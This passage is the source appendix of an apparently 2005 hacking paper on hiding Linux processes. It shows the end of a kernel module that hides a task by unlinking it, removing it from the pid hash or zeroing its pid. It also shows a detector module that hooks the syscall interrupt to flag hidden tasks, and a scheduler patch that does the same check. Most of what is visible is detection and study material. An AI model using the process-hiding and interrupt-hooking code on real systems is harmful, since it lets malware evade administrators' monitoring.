if ( method & 0x2 ) {
printk("[HP] hashing pid\n") ;
hash_pid(task) ;
}
if ( method & 0x4 ) {
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
task->pid = task->tgid ;
}
write_unlock_irq(&tasklist_lock) ;
}
return 1 ;
}
MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;
MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;
MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;
MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sht.c
/*|
* sht - search hidden tasks v1.0.0
* checks tasks to be visible upon entering syscall
* ( demo code for hideing processes paper )
*
* syntax : insmod sht.o
*
* coded in 2005 by ubra from PHI Group
* web - w3.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
struct idta {
unsigned short size ;
unsigned long addr __attribute__((packed)) ;
} ;
struct idt {
unsigned short offl ;
unsigned short seg ;
unsigned char pad ;
unsigned char flags ;
unsigned short offh ;
} ;
unsigned long get_idt_addr ( void ) {
struct idta idta ;
asm ( "sidt %0" : "=m" (idta) ) ;
return idta.addr ;
}
unsigned long get_int_addr ( unsigned int intp ) {
struct idt idt ;
unsigned long idt_addr ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
return idt.offh << 16 | idt.offl ;
}
void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) {
struct idt idt ;
unsigned long idt_addr ;
if ( old_func )
*old_func = get_int_addr(intp) ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;
idt.offl = (unsigned short) (new_func & 0xFFFF) ;
*((struct idt *) idt_addr + intp) = idt ;
return ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ;
asmlinkage void stub_func ( void ) ;
unsigned long new_handler = (unsigned long) &check_task ;
unsigned long old_handler ;
void stub_handler ( void ) {
asm(".globl stub_func \n"
".align 4,0x90 \n"
"stub_func : \n"
" pushal \n"
" pushl %%eax \n"
" movl $-8192 , %%eax \n"
" andl %%esp , %%eax \n"
" pushl %%eax \n"
" movl -4(%%esp) , %%eax \n"
" pushl %%esp \n"
" call *%0 \n"
" addl $12 , %%esp \n"
" popal \n"
" jmp *%1 \n"
:: "m" (new_handler) , "m" (old_handler) ) ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) {
struct task_struct *task_p = &init_task ;
unsigned char on_ll = 0 , on_ph = 0 ;
if ( ! task->mm )
return ;
do {
if ( task_p == task ) {
on_ll = 1 ;
break ;
}
task_p = task_p->next_task ;
} while ( task_p != &init_task ) ;
if ( find_task_by_pid(task->pid) == task )
on_ph = 1 ;
if ( ! on_ll || ! on_ph || ! task->pid )
printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ;
return ;
}
int sht_init ( void ) {
hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ;
printk("[SHT] loaded - monitoring tasks integrity\n") ;
return 0 ;
}
void sht_exit ( void ) {
hook_int ( 128 , old_handler , NULL ) ;
printk("[SHT] unloaded\n") ;
return ;
}
module_init(sht_init) ;
module_exit(sht_exit) ;
MODULE_AUTHOR("ubra / PHI Group") ;
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sh.patch
--- linux-2.4.30/kernel/sched_orig.c 2004-11-17 11:54:22.000000000 +0000
+++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000
@@ -534,6 +534,25 @@
__schedule_tail(prev);
}
+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
+{
+ struct task_struct *task_p = &init_task;
+ unsigned char on_ll = 0, on_ph = 0;
+
+ do {
+ if(task_p == prev) {
+ on_ll = 1;
+ break;
+ }
+ task_p = task_p->next_task ;
+ } while(task_p != &init_task);
+ if (find_task_by_pid(prev->pid) == prev)
+ on_ph = 1 ;
+ if (!on_ll || !on_ph || !prev->pid)
+ printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
+ return;
+}
+
/*
* 'schedule()' is the scheduler function. It's a very simple and nice
* scheduler: it's not perfect, but certainly works for most things.
@@ -634,6 +653,13 @@
task_set_cpu(next, this_cpu);
spin_unlock_irq(&runqueue_lock);
+ /*
+ * check task`s structures before we do any scheduling decision
+ * skip any kernel thread which might yeld false positives
+ */
+ if(prev->mm)
+ phi_sht_check_task(prev, next);
+
if (unlikely(prev == next)) {
/* We won't go through the normal tail, so do this by hand */
prev->policy &= ~SCHED_YIELD;
<-->
|=[ EOF ]=---------------------------------------------------------------=|
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